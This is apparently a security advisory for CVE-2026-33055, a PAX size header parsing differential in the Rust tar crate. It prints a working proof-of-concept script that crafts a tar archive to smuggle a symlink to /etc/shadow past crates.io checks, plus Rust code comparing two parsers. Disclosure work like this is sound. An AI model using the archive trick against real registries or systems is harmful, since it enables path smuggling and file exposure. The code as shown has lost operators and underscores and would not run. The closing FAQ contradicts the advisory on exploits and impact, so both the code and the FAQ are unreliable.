CVE-2026-33055: tar-rs incorrectly ignores PAX size headers if header size is nonzero
Summary
As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.
However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.
The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.
In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.
Details
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
PoC
(originally posted by https://github.com/xokdvium)
I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:
It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
python #!/usr/bin/env python3 B = 512
def pad(d): r = len(d) % B return d + b"\0" (B - r) if r else d
def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h)
INFLATED = 2048 paxrec = b"13 size=2048\n"
ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(paxrec), typ=b"x") ar += pad(paxrec)
content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content)
ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" B 2
used = len(ar) - mark if used < INFLATED: ar += b"\0" (((INFLATED - used + B - 1) // B) B) ar += b"\0" B 2
open("smuggle.tar", "wb").write(bytes(ar))
tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/cratesiotarball/src/lib.rs#L92-L102 wouldn't disallow it).
rust use std::fs; use std::path::PathBuf;
fn syncparse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }
async fn asyncparse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokiotar::Archive::new(data.asslice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokiostream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }
#[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrapor("smuggle.tar".into()); let data = fs::read(&path).unwrap(); syncparse(&data); asyncparse(data).await; }
tar: regular.txt Regular smuggled Symlink -> /etc/shadow
astral-tokio-tar: regular.txt Regular
Impact
This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.
Other sources
tar-rs incorrectly ignores PAX size headers if header size is nonzero
— Microsoft
tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33055?
CVE-2026-33055 has been classified with a moderate severity due to potential denial of service risks.
How do I fix CVE-2026-33055?
To fix CVE-2026-33055, update the tar-rs library to version 0.4.45 or higher.
Which versions of tar-rs are affected by CVE-2026-33055?
Versions of tar-rs up to and including 0.4.44 are affected by CVE-2026-33055.
What impact does CVE-2026-33055 have on applications using tar-rs?
CVE-2026-33055 can lead to incorrect handling of PAX size headers, potentially resulting in data corruption.
Is there a known exploit for CVE-2026-33055?
Currently, there are no publicly known exploits specifically targeting CVE-2026-33055.